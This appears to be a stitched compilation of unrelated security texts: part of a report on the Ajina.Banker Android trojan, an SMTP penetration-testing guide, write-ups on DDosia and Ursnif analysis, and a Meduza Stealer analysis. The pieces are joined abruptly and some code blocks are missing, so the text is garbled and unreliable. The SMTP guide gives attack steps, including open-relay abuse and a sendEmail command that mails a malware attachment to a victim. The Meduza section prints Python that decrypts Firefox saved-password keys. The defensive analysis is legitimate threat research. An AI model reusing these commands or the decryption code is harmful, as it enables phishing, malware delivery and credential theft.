2
2
9
13
Last Seen Name
Jason99
Linda Castaneda
Alicia Willis
Андреева Родригес
Last Seen Username
—
—
—
Andreeva_5676
User ID
6553097862
6574219148
5668418863
6716964266
Number of messages
2
1
3
1
These accounts were used to distribute the malware through various local community chats. By using multiple accounts, sometimes simultaneously, the adversary was able to increase the reach and frequency of their malicious content. The adversary’s ability to maintain and operate numerous accounts simultaneously, while consistently delivering tailored messages, suggests the possible use of automated distribution tools. These tools enabled the adversary to manage large-scale operations with precision, further amplifying the impact of their malicious campaign. This approach to account management indicates a high level of planning and coordination.
Malware analysis
Fraud Protection telemetry found 1,402 packages with package names com.example.smshandler (187 samples) and org.zzzz.aaa (1,215 samples) between 30 November 2023 and 31 July 2024 across 5,197 devices. Analyzed samples share a common code structure and subset of permissions that are requested.
The first known infection occurred at 30 November 2023 via package name com.example.smshandler (SHA1 cc6af149f1da110a570241dde6e3cfd0852cb0d8) with permission list:
According to Fraud Protection telemetry data, the first known sample of this malware uploaded to VirusTotal is “Узбек �екс 🔞🔞🔞” (SHA1 84af2ce3a2e58cc8a70d4cc95916cbfe15f2169e). It was uploaded to the VirusTotal platform in January 2024, providing the initial glimpse into this malicious campaign.
Figure 9. Detections at the moment of analysis
Once the trojan is launched it connects to the gate server 79[.]137[.]205[.]212:8080, generates AES encryption key, and sends it to the gate server along with a hard-coded worker’s name and userId that is also stored into SharedPreferences.
All messages except action 1 are encrypted with AES/GCM/NoPadding cipher suite.
Further research shows that messages are JSON-encoded, but are sent via raw TCP socket, not wrapped in HTTP. The general structure of messages contains a numeric action field with action type and other fields with arbitrary data depending on the action type. For example, if something goes wrong, the trojan sends a message to the gate server with the following structure:
{
"action": 5,
"msg": "string representation of the occured exception"
}
From the victim’s point of view, once the trojan is initiated, it loads a background image from an external legit resource and requests the user to grant these permissions:
If the user grants permissions via their mobile device’s operating system settings menu, the trojan then launches an intent that activates a third-party application related to trojan’s legend:
Figure 15. Starting a third-party activity
If permissions are not granted, the trojan sends a notification to the gate server (action 6).
When permissions are granted, the trojan collects information from the infected device and sends it to the gate server (action 3). The following is the list of information collected:
for each active SIM card
MCC+MNC codes of current registered operator
Name of the current registered operator
ISO-3166-1 alpha-2 country code equivalent of the MCC (Mobile Country Code) of the current registered operator or the cell nearby
ISO-3166-1 alpha-2 country code equivalent for the SIM provider’s country code
MCC+MNC codes of the provider of the SIM
Service Provider Name (SPN)
Phone number
Is SPN “known” or not
list of installed financial applications originated from Armenia, Azerbaijan, Iceland, Kazakhstan, Kyrgyzstan, Pakistan, Russia, Uzbekistan and some international ones
sent SMS
Recipient
Body
Date
received SMS
Sender
Body
Date
The trojan abuses the <queries> element in the app’s manifest instead of abusing QUERY_ALL_PACKAGES permission, and therefore it can get information only about what is declared in manifest packages. However, it does not prevent the expansion of the list of targets for a particular sample because Trojan will send to the gate server every incoming SMS, including for banks not included in the list of targets (action 2). This allows, for example, the initial registration of accounts in organizations that are not the target of the trojan.
Figure 16. Broadcast receiver for incoming SMSes
While collecting SIM-card info, the trojan checks if the SPN is “known” and, if it is, sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device.
Country
USSD
Armenia
*187#
*420#
*525#
Azerbaijan
*137#
*540#
*666#
Kazakhstan
*160#
Kyrgyzstan
*112#
*212#
Russia
*100#
*103#
*111*0887#
*116*106#
*200#
*201#
*205#
*303#
Tajikistan
*111#
*99#
Ukraine
*161#
*61#
Uzbekistan
*100*4#
*150#
*303#
*450#
*664579#
After this USSD response is received, the trojan sends the response info to the gate server (action 4):
Figure 17. USSD response callback
There is no difference between samples with com.example.smshandler package name from first and last infections with publicly available samples.
Ajina.Banker.B
We gathered several samples from the org.zzzz.aaa group and found little differences in the code structure. Further analysis of the appearance of new samples and code similarities lead us to the conclusion that this family is still under active development, and we can suggest that org.zzzz.aaa is the new version of the same family as com.example.smshandler.
Figure 18. New samples stats
As shown above, another group of samples has the org.zzzz.aaa package name. The first known infection occurred on February 18 2024, while the earliest publicly available sample was detected on 20 February 2024, and is still the most downloaded for now.
One of the freshest samples has an interesting but less popular difference. It is a new execution flow branch showing another view instead of just a background image. Based on the names of variables of type TextInputEditText, we assume that this is something like a phishing page, but we are not able to trigger this branch.
Figure 19. New activity layout
Along with this new View there is a new action 7 message for sending user-provided phone number, bank card number and PIN-code.
Figure 20.The user-inputed card info is sent to gate server
It appears that this new feature is developed to primarily target users in Azerbaijan because of the hard-coded phone number prefix and text language on the Toast popup.
There are some additional features that are common for most of analyzed org.zzzz.aaa samples:
new packages of interest
Accessibility Service abuse:
prevent uninstallation
grant permissions
Requests for additional permissions. However, we did not found calls of Android Platform API in the analyzed samples that requires such permissions
READ_CALL_LOG
GET_ACCOUNTS
READ_CONTACTS
Opens another legitimate app instead of a browser when permissions are granted
There are several examples of layouts from discovered samples with various legends:
Figure 21.1 Example of interface of the new samples
Figure 21.2 Example of interface of the new samples
Figure 21.3 Example of interface of the new samples
Figure 21.4 Example of interface of the new samples
Infrastructure
As mentioned before, the malware only sends exfiltrated data over raw TCP in JSON to the gate server. There were no capabilities to receive commands found. But we’ve managed to find a web panel of “SMS handler”, which refers us to the version of package name com.example.smshandler. It’s possible to find further servers by the same response, using search by body hash (SHA1 1a9c98808a547d4b50cc31d46e19045bcd2cfc1b).
Figure 22.1 Discovery of the “SMS handler” Web Panel
Figure 22.2 Scan result for responses containing Web Panel
On all of the adversaries servers we can find certificates with “WIN-PDDC81NCU8C” issuer and subject common name. However, this common name is generic and widely used by a specific hosting service according to Shodan.
Figure 23.1 Certificate found on gate server
Figure 23.2 Number of certificates with the same common name
We’ve seen 9 servers involved in this campaign, some of them shared the same Etags (e.g. 1718668565.8504026-495-535763281). Network infrastructure involved in this attack is shown on the graph analysis below.
Figure 24. Screenshot of graph analysis of network infrastructure
Targets
As we’ve mentioned above, one significant aspect of our findings is based on the analysis of Android package names utilized in this campaign. Many of these packages mimicked popular regional apps, such as local banking applications, government service portals, or everyday utility tools. By replicating the appearance of these trusted applications, the adversary increased the likelihood of users downloading and installing the malware. So the displayed names can be a trustworthy indication of the target region.
Analysis indicates that most of these malware samples were specifically designed to target users in Uzbekistan, suggesting that the adversary deliberately focused on this region. But there are also a few other regions that have been targeted by the adversary. The main reason is that the samples have hardcoded checks for attributes distinctive for other countries. We’ve also seen AM-CERT (National CERT/CSIRT Armenia) reporting this campaign.
During the analysis we’ve also found the use of specific country phone provider codes embedded within the malicious APKs. These codes indicate that the adversary has an even wider pool of target countries. The adversary checks for Service Provider Network (SPN) and then sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device. Based on this we can assume potential regions of interest, from where the user data could be possibly stolen.
Figure 25. Distribution of supported SPNs and apps of interest per country hardcoded in sample
Attribution
The analysis of the malware has shown that the malicious files contain data about different affiliates. This leads us to conclude that it’s based on an affiliate programme, where the support for the initial project is led by a small group of people, and all the distribution and infection chains are made by affiliates working for the percentage.
Sample named “Вип Контент.apk” – “VIP Content.apk” in english – (SHA1 b4b9562a9f4851cba5761b1341f58f324f258123) was seen by MalwareHunterTeam and mentioned in Twitter post in January 28, 2024. One of the replies written to the post by APK–47 highlights an interesting username hardcoded as a name of one of the workers. The username “@glavnyypouzbekam” leads to the Telegram account named “Travis Bek” with description “Главный по узбекам” which means “Chief for Uzbeks”.
Figure 26.1 Screenshot of the Twitter post by APK–47
Figure 26.2 Screenshot of the Twitter post by APK-47
Group-IB Threat Intelligence system has found the following activity related to the Telegram account mentioned. Adversary participated in programmers chats, searched for “Java coder” and, according to his message, to an existing team. Detected user activity is shown on the figures below.
Figure 27.1 User activity found by Group-IB Threat Intelligence
Figure 27.2 User activity found by Group-IB Threat Intelligence
We’ve also found a Telegram bot connected to this campaign by username “@glavnyypouzbekam” contained in its description. Bot with the username “@glavnyypouzbekambot” has information about the possibility of earning money online and an invitation to join written in Russian.
Figure 28.1 Telegram bot found during the investigation
Figure 28.2 Telegram bot found during the investigation
We assume that highly likely due to its uniqueness, the hardcoded worker’s name “@glavnyypouzbekam” is connected to the discovered Telegram activity. Based on our findings, we assume that the adversary standing behind this account is one of the operators of the Ajina malicious campaign. The hiring of Java coders, created Telegram bot with the proposal of earning some money, also indicates that the tool is in the process of active development and has support of a network of affiliated employees. Worth noting, that soon after the adversary’s name was posted on Twitter, current Telegram account was deleted.
Prevention
To protect Group-IB customers from threats related to Ajina.Banker malware and other similar threats, Group-IB Fraud Protection uses events/rules to detect and prevent Ajina.Banker and other similar malware:
For confirmed malware samples Ajina.Banker:
Group-IB’s Fraud Protection maintains an extensive database of all detected malware. When our system detects applications from the list of mobile Trojans downloaded to an end-users device, we trigger the appropriate events to notify our customers promptly.
Figure 29. Screenshot of event from Group-IB Fraud Protection system
When the malware is detected on the user’s device:
Once the trojan is successful, sensitive customer data typically falls into the hands of the threat actor, who then seeks to monetize this data. Often, the threat actor or their software will log into the stolen account. In such cases, a new device may appear when accessing the user account. Consequently, a rule has been developed to monitor accounts where a mobile banking trojan has been confirmed and to detect logins from new devices.
When new versions of a given Trojan family appear:
For cases where the malware has not yet been added to the malware database, a new rule has been developed that focuses on the trojan’s specific characteristics. In particular, we check the characteristics of all software from a non-legitimate source for the ability to read SMS. These alerts are also transmitted to banks in the form of specific event types, increasing the likelihood of preventing fraudulent transactions by threats.
Figure 30. Screenshot of event from Group-IB Fraud Protection system
Conclusion
The case of Ajina highlights how quickly malware developers can appear, set up distributional chains and evaluate their tools. The direct communication between the threat actor and victim also makes Ajina.Banker an effective malware type in terms of keeping low detect rate on the first stages. While Group-IB does not have definitive data on the amount of money stolen by Ajina, the methods harnessed by malicious actors are cause for concern.
Recommendations
The security of mobile applications and operating systems is improving rapidly. However, it is premature to completely write-off Android banking Trojans entirely. In our experience, banking Trojans are still highly active, with threat actors widely distributing modified Trojans based on publicly available source code.
A good example of this trend is Ajina.Banker, which poses a significant threat not only to end-users of banking applications but also the entire banking sector itself.
For users
Below are some basic recommendations on protecting mobile devices from banking Trojans like Ajina.Banker.
Always check for updates on your mobile device. Maintaining your mobile devices updated will make them less vulnerable to such threats.
Avoid downloading applications from sources other than Google Play. However, it’s important to note that even Google Play cannot guarantee complete security. Always check the permissions that an application requests before installing it.
Do not click on links contained within suspicious SMS messages.
If your device has been infected, do the following:
Disable network access.
Freeze any bank accounts that may have been accessed from your device.
Contact experts to receive detailed information about the risks that the malware could pose to your device.
For organizations
The Group-IBThreat Intelligence team will continue to track Ajina.Banker and update our database with new indicators related to this trojan. Additionally, our Threat Intelligence team will notify customers when their application is targeted by Ajina.Banker, or any other Android malware we track.
For organizations that wish to protect their customers, implementing a solution that monitors user sessions – such as Group-IB Fraud Protection – can prevent malware operators from defrauding their clients and damaging their reputations.
Group-IB’s Fraud Protection detects the latest fraud techniques, phishing preparation, and other types of attacks. The platform integrates data from Group-IB’s attribution-based Threat Intelligence system. Exclusive information about cybercriminals, malware, adversary IP addresses, and compromised data (logins, passwords, bank cards) helps develop anti-fraud systems and cybersecurity teams, which allows the latter to identify intruders and their actions.
In this way, Fraud Protection “catches” banking Trojans and detects unauthorized remote access, web injections, cross-channel attacks, and personal data collection. Group-IB’s solution implements patented algorithms that help detect infected devices without the client’s involvement and without installing additional software.
Fraud Matrix
Tactic
Technique
Procedure
Resource development
Malware
Attackers use Ajina.Banker malware to gain access to user accounts
Scam workers
Attacker has a network of affiliated employees acting with financial motivation, spreading Ajina.Banker that victimizes ordinary users
Social Network Account
Attackers use Telegram accounts to spread Ajina.Banker
Trust abuse
Bluffing
Attackers promise easy earnings and lucrative offers to convince end users to install Ajina.Banker
Fake application
Ajina.Banker mimics popular banking apps and payment systems
Enabling Accessibility Service for Malware
Ajina.Banker asks for Accessibility Service permission to prevent uninstallation or uninstall itself
End-user interaction
Phishing
Ajina.Banker expended malicious applications via Telegram
Pushing to install Android Malware
Attackers requires users to download, install the .APK file manually
Scam ads
The description of Ajina.Banker in Telegram is accompanied by an advertising description offering bonuses and cash rewards
Scam Message in Social Network/Instant Messenger
Ajina.Banker is promoted through mailings in Telegram groups and in personal messages
Credential access
Phone Number Capture
Ajina.Banker makes a USSD request to get the phone number to be sent to the gate server
2nd Factor Capture
Ajina.Banker reads all SMS including authentication codes, allowing fraudsters to pass the 2nd Factor
Card PAN/EXP/CVV Capture
Attackers, after logging into a user’s account, are able to obtain full information about the user’s bank cards
Credential Capture
Having access to a user account allows attackers to gain full information about the account holder
SMS/Push Interception
Ajina.Banker collects all SMS on the user’s device, even SMS from non-target organizations
Account access
Access from Fraudster Device
Attackers log into the account from a new device with the user’s phone number and confirmation SMS
MITRE ATT&CK® Matrix
Tactic
Technique
Procedure
Initial Access (TA0027)
Phishing (T1660)
Ajina spreaded malicious applications via Telegram.
Ajina.Banker registers to receive system-wide broadcast intents such as receiving SMS message, device boot completion, network changes, battery charging state changes, locking and unlocking the screen.
Defense-evasion (TA0030)
Indicator Removal on Host: Uninstall Malicious Application (T1630.001)
Ajina.Banker can uninstall itself.
Masquerading: Match Legitimate Name or Location (T1655.001)
Ajina.Banker mimics legitimate applications, trying to match their names and icons.
Credential-access (TA0031)
Access Notifications (T1517)
Ajina.Banker can access SMSes.
Discovery (TA0032)
Software Discovery (T1418)
Ajina.Banker checks for presence of some hardcoded applications (mostly banks).
System Network Configuration Discovery (T1422)
Ajina.Banker checks for SPN and then sends a USSD request to get the phone number.
Collection (TA0035)
Access Notifications (T1517)
Ajina.Banker can access the notifications.
Protected User Data: SMS Messages (T1636.004)
Ajina.Banker can access the SMS messages.
Command-and-control (TA0037)
Non-Standard Port (T1509)
Ajina.Banker sends data in raw TCP to 8080 port.
Exfiltration (TA0036)
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol (T1639.001)
SMTP (Simple Mail Transfer Protocol) is a core component of the internet’s email infrastructure, responsible for sending and receiving emails. It’s a protocol within the TCP/IP suite, frequently working alongside POP3 or IMAP to store emails on servers and allow users to access them. Despite its widespread use, SMTP has certain vulnerabilities that make it a popular target for penetration testers and hackers.
SMTP Commands:
HELO It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.
EHLO An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.
MAIL FROM With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.
RCPT TO It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.
SIZE This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.
DATA With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.
VRFY The server is asked to verify whether a particular email address or username actually exists.
TURN This command is used to invert roles between the client and the server, without the need to run a new connaction.
AUTH With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.
RSET It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).
EXPN This SMTP command asks for a confirmation about the identification of a mailing list.
HELP It’s a client’s request for some information that can be useful for the a successful transfer of the email.
QUIT It terminates the SMTP conversation.
Reconnaissance and Information Gathering
Subdomain Enumeration & DNS Misconfigurations: Before jumping into SMTP directly, expand the reconnaissance section to include subdomain enumeration for deeper target discovery. Tools like amass or sublist3r could be used here to identify potential SMTP servers:Copy
amass enum -d <target-domain>
Subdomains could potentially host misconfigured or less secure SMTP servers.
1.1. Identify Open SMTP Ports
Start by using tools like Nmap to identify open ports, typically 25 (SMTP), 465 (SMTPS), and 587 (Submission over TLS):Copy
nmap -p25,465,587 --open <target-IP>
Using Metasploit:Copy
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS <target-IP>
set THREADS 10
run
1.2. MX Record Discovery
Discover Mail Exchanger (MX) records for the target organization:Copy
dig +short mx <target-domain>
This will return the mail servers responsible for receiving emails for the domain.
1.3. Banner Grabbing
Banner grabbing helps identify the SMTP server version, which could contain known vulnerabilities. Use Netcat or OpenSSL to connect and grab the banner:Copy
Mail server type (Microsoft ESMTP, Postfix, Exim, etc.)
Any other information leaks (internal hostnames)
Enumeration and Vulnerability Discovery
2.1. Enumerate SMTP Commands
Use Nmap’ssmtp-commands script to enumerate supported SMTP commands. This may give insights into how to interact with the server, and whether certain attack vectors (like relay attacks) are possible.Copy
nmap -p25 --script smtp-commands <target-IP>
2.2. Open Relay Testing
An open SMTP relay can be abused to send spam or phishing emails without authentication. Use the smtp-open-relay Nmap script to test for this vulnerability:Copy
nmap -p25 --script smtp-open-relay <target-IP>
Using Telent:Copy
telnet <target-IP> 25
helo attacker.com
mail from: attacker@attacker.com
rcpt to: victim@target.com
data
This is a test email to verify open relay.
.
quit
If the server is vulnerable, you will be able to send emails without being an authenticated user.
2.3. Verify Users
SMTP servers can sometimes allow username verification using RCPT TO and VRFY commands, revealing valid email accounts on the system.Copy
telnet <target-IP> 25
HELO test.com
MAIL FROM: attacker@attacker.com
RCPT TO: victim@target.com
If you get a 250 OK response, the email address is valid.
You can automate this using tools like smtp-user-enum:Copy
Exploiting Information Disclosure and Misconfigurations
3.1. Internal Server Name Disclosure
Some SMTP servers may leak internal server names in the response to commands like MAIL FROM:. For example:Copy
MAIL FROM: attacker@example.com
Response:Copy
250 me@INTERNAL-SERVER.local...Sender OK
This internal information could be used in later attacks.
3.2. NTLM Authentication Information Disclosure
If the SMTP server supports NTLM authentication, you can extract sensitive information by interacting with the authentication process. Copy
nmap --script smtp-ntlm-info.nse -p25 <target-IP>
Using Metasploit:Copy
use auxiliary/scanner/smb/smb_ntlm_credential_dump
set RHOSTS <target-IP>
run
Password Cracking and Credential Harvesting
4.1. Sniffing Cleartext Credentials
SMTP running on port 25 (non-SSL) may allow you to capture email credentials via network sniffing using Wireshark or tcpdump. Look for cleartext AUTH LOGIN or AUTH PLAIN credentials.
Wireshark filter:Copy
tcp.port == 25 && tcp contains "AUTH"
4.2. SMTP Brute-Forcing
If authentication is required but weak credentials are suspected, use brute-forcing tools such as Hydra: Copy
Once access is gained to the SMTP server or an open relay is found, it is possible to send phishing emails, malware, or perform further reconnaissance.
5.1. Send an Email from Linux Command Line
Copy
sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Urgent" -m "Please open the attached document" -a /path/to/malware.pdf
Test antivirus defenses by sending an EICAR test file to see if the server scans attachments for malware. This helps identify email gateway filtering systems:Copy
This post is part of an analysis that I have carried out during my spare time, motivated by a friend that asked me to have a look at the DDosia project related to the NoName057(16) group. The reason behind this request was caused by DDosia client changes for performing the DDos attacks. Because of that, all procedures used so far for monitoring NoName057(16) activities did not work anymore.
Before starting to reverse DDosia Windows sample, I preferred to gather as much information as possible about NoName057(16) TTPs and a few references to their samples.
Avast wrote a very detailed article about that project and described thoroughly all changes observed in the last few months. Because of that, before proceeding with this post, If you feel you are missing something, I strongly recommend that you read their article.
Client Setup
According to the information retrieved from the Telegram channel of DDosia Project, there are a couple of requirements before executing the client. The very first action is to create your id through a dedicated bot that will be used later on for authentication purposes. After that, it’s necessary to put the client_id.txt file (generated from DDosia bot) and the executable file in the same folder. If everything has been done properly, it should be possible to observe that authentication process will be done correctly and the client is going to download targets from its server:
Figure 1: Client authenticated correctly
Dynamic analysis and process memory inspection
Here we are with the fun part. Because of the issues of analyzing GO binaries statically, I preferred to use a dynamic approach supported by Cape sandbox. In fact, executing the client with Cape it was possible to gather behavioral information to speed up our analysis (ref). Since the executable is going to be used for DDoS attacks, it’s easy to expect that most of the functions are related to network routines. One of the most interesting WindowsAPI refers to WSAStartup. This is interesting for us, because according to Microsoft documentation, it must be the first function to be used in order to retrieve socket implementation for further network operations:
The WSAStartup function must be the first Windows Sockets function called by an application or DLL. It allows an application or DLL to specify the version of Windows Sockets required and retrieve details of the specific Windows Sockets implementation. The application or DLL can only issue further Windows Sockets functions after successfully calling WSAStartup.
Moreover, starting to monitor network requests with Wireshark, give us additional information about client-server interactions and targets retrieving procedure:
Figure 2 – Request for target list
As already mentioned on Avast blogspot, the target list is encrypted and retrieved after the authentication process. However, performing DDoS attacks requires a decryption routine to make targets in cleartext and forward them to a proper procedure. With this insight, it’s possible to open up a debugger and set a breakpoint of WSAStartup and start exploring the process flow from that point.
Figure 3 – Exploring DDosia executable control flow
Exploring the process execution, it’s possible to observe that WSAStartup API is called two times before starting the attack. The first one has been used from the main thread to perform the authentication process on the server side, instead the second call will be done right after retrieving the target file and it will be used from another thread to start the attack phase. Since that information we are looking for has been already downloaded and hopefully decrypted (at the time of the second call) we could explore the process memory trying to identify our target list.
Figure 4 – Target stored in cleartext within process memory
As we expected, information is actually decrypted right before being used from threads that are in charge to flood the targets. From the cleartext sample, it’s also possible to reconstruct the original json file structure that follow this format:
At this point I have shown all procedures to quickly follow the execution flow until the decryption routine is called. From now on, it’s just a matter of looking for those data within process memory and extracting them for your own purpose. It’s worth noting that information won’t be stored decrypted forever, in fact, as the executable keeps running, the json file is actually mangled in a way that is not easy to resemble it properly.
A little bit of automation
Even if the analysis has been completed and targets are correctly retrieved, I thought that giving a little tool to extract that information would be useful. Instead of doing complex stuff, I wrote two simple scripts called targets.js and recover.py. The purpose of these two files is to allow analysts from different backgrounds to extract those targets, even performing a simple memory dump. Probably there are easier and smarter techniques out there, but it was also a good chance to put in practice DBI, which I have already covered in a previous post.
target.js: Frida script that aims to get a memory dump after the WSAStartup has been called for the second time (when payloads are in cleartext in memory).
recover.py: it’s a simple python script that retrieves structured information from the files dumped. It’s worth noting that I limited my script to look for structured information, retrieving IP and Hostname (additional improvements are left to user’s needs).
Script Testing
In order to run the mentioned scripts there are two requirements to fulfill:
Installing frida-tool (pip install frida-tools).
Create a folder named “dumps” in the same place where you run the target.js file.
If all requirements are satisfied it’s just a matter of running those scripts and getting the results. The first step is to run frida.exe, using the targets.js file that contains all the information to dump the process memory:
frida.exe <ddosia_client.exe> -l targets.js
PowerShell
If everything has been done correctly (please keep in mind the requirements), you should be able to see a message “[END] Memory dumped correctly” in your console.
Figure 5 – Dumping process Memory with Frida
Now you can navigate in dumps folder and run the python script using the following command line that is going to forward all dumped file from the current directory to the script that is going to print the result in your console:
python.exe recover.py (Get-Item .\*dump)
PowerShell
Figure 6 – Extracting DDosia targets from dump files
Final Notes
Before concluding, It’s worth mentioning that updates on these scripts and new techniques to dealing with further improvements of DDosia project are not going to be shown, because it represents a topic that I’m not following personally and I’m sure that more authoritative voices will keep track of this threat and its evolution.
[2023-11 – UPDATE ]
As mentioned in the section above I’m not able to provide updates on real-time DDosia Project changes, but since it represents a quite good challenge to sharpen my reversing skills on GO binaries (and I received unexpected feedback about this work), I decided to look in their new Windows client version.
Since I would like to keep this update note as brief as possible, I’ll go straight to the point. What really changes and makes the previous frida script ineffective are slightly binary improvements (mostly related to the syscalls used). Because of that I tried to switch monitored syscall to WriteConsoleW, hooking on the message that confirmed the numbers of targets retrieved. I found out that I really needed to change 1 line of the previous script to keep it updated. (Great example of code reuse xD).
Note:
The modification required was pretty easy, however, this change could be also more consistent for further updates (limiting to tweak a little bit with counter variable) since it exploits the feedback messages (e.g., target acquired, requests completed, rewards, etc..) that won’t be removed any time soon.
Moreover, most of this blogpost it’s still a valid reference for setting up the environment and understanding the control flow to retrieve the actual targets, additionally, as far as I know, there were no great changes on the authentication layer. Previous configured environments needs to replace the old binary to the newer provided on DDosia channel.
Because of the massive Ursnif campaigns that hit Italy during the last weeks, I was looking for a lightweight method to quickly extract the last infection stage of all collected samples, in order to start further analysis effectively. Due to this, I wrote a little frida script that performs basic Dynamic Binary Instrumentation (DBI) to monitor useful function calls and extracts the Ursnif payload. In this article I am going to briefly discuss this script and the steps needed to start analyzing the resulting binary.
Since I would like to skip redundant topics that are already written all over the internet by people that are Jedi in this field, I’m going to limit this post linking references that would be nice to have to understand everything easily.
Most of the time, malware, in order to write memory and run code from the newly allocated space, make use of two functions, such as: VirtualAlloc (ref.) and VirtualProtect (ref.). For the purpose of our task, I have chosen the VirtualProtect function, because at the time of its calling, the data (payload) should be already there and it would be easier to analyze.
So let’s start to write out the code that retrieves the reference of this function and the interceptor that is going to be used to monitor function calls entry and return. Thanks to Frida, it is possible to directly retrieve function arguments through the variable args and check their values. The most important parameter and the one that will be used for our purpose is the lpAddress that represents the address space that is involved in this function call.
Figure 1 – References to VirtualProtect and call Interceptor
Because of the purpose of the article we are not interested in all VirtualProtect calls but we would like to limit our scope to ones that contain a PE header. To do this, it’s possible to verify if lpAddress starts with “MZ” or “5d4a”. If so, we could print out some values in order to check them against the running executable using tools such as ProcessMonitor or ProcessHacker.
Figure 2 – Printing VirtualProtect arguments
Retrieving the payload
Now comes the tricky part. If we simply apply this technique to dump the memory that contains the MZ, it would be possible for us to also dump the binary that we originally started the infection with. However, analyzing Ursnif code, it’s possible to see that it creates a dedicated memory space to write its final stage that is commonly referenced as a DLL. In order to avoid that, it’s possible to use a function findModuleByAddress that belongs to the Process object.
As reported by Frida documentation:
Process.findModuleByAddress(address) returns a Module whose address or name matches the one specified. In the event that no such module could be found, the find-prefixed functions return null whilst the get-prefixed functions throw an exception.
In order to avoid exception handling stuff I have preferred to go with find prefix function and then checking if the Module returned is equal to null. Otherwise, we would have an existing module object and module.base = image base.
Now, as a final step before moving on and dumping the actual payload, it’s necessary to retrieve the page size to which lpAddress belongs. That information could be retrieved using the findRangeByAddress that return an object with details about the range (memory page) containing address.
Figure 3 – Checking for payload address
Dumping config file
Now that we have all the information required, it’s time to dump the actual Ursnif payload. In order to do this, it’s possible to read the page related to lpAddress using the readByteArray using the module.size. Once the information has been stored, it’s possible to write it in a file that could be used later on for further manipulation and analysis.
Figure 4 – Dumping Ursnif payload
It’s worth noting that before proceeding with the configuration extraction phase, it’s necessary to modify Raw addresses and Virtual Addresses of each section header accordingly. This step is necessary because the payload was extracted directly from memory.
Script Testing
Now that we have completed our script it’s time for testing with a real case! Let’s take one of the recent samples delivered by the TA and see if it works. For this example I have chosen a publicly available sample on MalwareBazar.
Running the script against this sample with Frida as follow:
frida.exe <mal_executable> -l <your_script.js>
It will produce a file called 0x2cf0000_mz.bin (it may vary from the memory address allocation on your machine).
Figure 5 – Ursnif payload extraction with Frida
If we open this file with PE-Bear, what should alert us, is the import table that contains unresolved information. This happens, because our code has been extracted directly from memory and before proceeding with our analysis it is necessary to map the raw sections addresses with their virtual counterparts (for brevity I have prepared a script that is going to perform these steps automatically). After having settled the addresses properly, it’s possible to proceed with configuration extraction through a custom script (that is out of the scope for this post).
Meduza Stealer … Yes, you read it right, I did not misspelled it, is a new stealer that appeared on Russian-speaking forums at the beginning of June 2023. The stealer is written in C++ and is approximately 600KB in size. The DLL dependencies are statically linked to the binary, which reduces the detection. It’s also worth noting that the collected logs are not stored on the disk.
The stealer collects the data from 100 browsers which includes Chromium and Gecko browsers.
Other than browsers and cryptowallets, the stealer also collects sensitive information from password managers, Discord clients (Discord, DiscordCanary, DiscordPTB, Lightcord, DiscordDevelopment), and Telegram clients (Kotatogram, Telegram desktop).
With the new update of the stealer (version 1.3), the panel functionality has changed which allows the users to configure Telegram bot to receive the logs, the FileGrabber functionality was also added with the new update. The stealer also has the file size pumper feature that increases the file size to avoid sandbox and AV analysis; the feature is mostly deployed in all common stealers now, such as Vidar, WhiteSnake Stealer, and Aurora Stealer (RIP).
The stealer is priced at:
1 month – 199$
3 months – 399$
Meduza Stealer does not work in CIS (Commonwealth of Independent States) countries.
P.S: if anyone has the newest version of the stealer, please reach out to me 😉
An example of the received logs is shown below.
Technical Analysis
Logs are decrypted on the server side. Below is the snippet of master password decryption on Mozilla and other Gecko browsers. Taking, for example, the get key function. The code first checks if key4.db exists. This is the key database used by Firefox versions 58.0.2 and above. If key4.db exists, it opens an SQLite connection to the file and performs SQL queries to fetch the globalSalt and item2 data, which are used in decrypting the master key. It then checks if the decrypted text from item2 is equal to b’password-check\x02\x02’, a hardcoded string used by Firefox to verify the master password. If the master password is correct, it continues to the next step. Otherwise, it returns None, None, indicating a failure to retrieve the key and the algorithm. The function then queries the database to fetch a11 and a102. a11 is the encrypted master key, and a102 should match the constant CKA_ID. If a102 does not match CKA_ID, it logs a warning and returns None, None. It then decrypts a11 (the encrypted master key) using the decryptPBE function and the globalSalt. The first 24 bytes of the decrypted text are the key used to decrypt the login data. If key4.db does not exist, it checks for the existence of key3.db, which is the older key database used by Firefox. If key3.db exists, it reads the key data from the file and extracts the decryption key using the function extractSecretKey. It also hardcodes the cryptographic algorithm used (‘1.2.840.113549.1.12.5.1.3’, an OBJECTIDENTIFIER, is the identifier for the Triple DES encryption algorithm in CBC mode). If neither key4.db nor key3.db exists in the directory, it logs an error and returns None, None.
defget_key(masterPassword: bytes, directory: Path) -> Tuple[Optional[bytes], Optional[str]]:
if (directory / 'key4.db').exists():
conn = sqlite3.connect(directory / 'key4.db') # firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
c = conn.cursor()
# first check password
c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = c.fetchone()
globalSalt = row[0] # item1
item2 = row[1]
printASN1(item2, len(item2), 0)
decodedItem2 = decoder.decode(item2)
clearText, algo = decryptPBE(decodedItem2, masterPassword, globalSalt)
if clearText == b'password-check\x02\x02':
c.execute("SELECT a11,a102 FROM nssPrivate;")
for row in c:
if row[0] != None:
break
a11 = row[0] # CKA_VALUE
a102 = row[1]
if a102 == CKA_ID:
printASN1(a11, len(a11), 0)
decoded_a11 = decoder.decode(a11)
# decrypt master key
clearText, algo = decryptPBE(decoded_a11, masterPassword, globalSalt)
return clearText[:24], algo
else:
logger.warning('No saved login/password')
return None, None
elif (directory / 'key3.db').exists():
keyData = readBsddb(directory / 'key3.db')
key = extractSecretKey(masterPassword, keyData)
return key, '1.2.840.113549.1.12.5.1.3'
else:
logger.error('Cannot find key4.db or key3.db')
return None, None
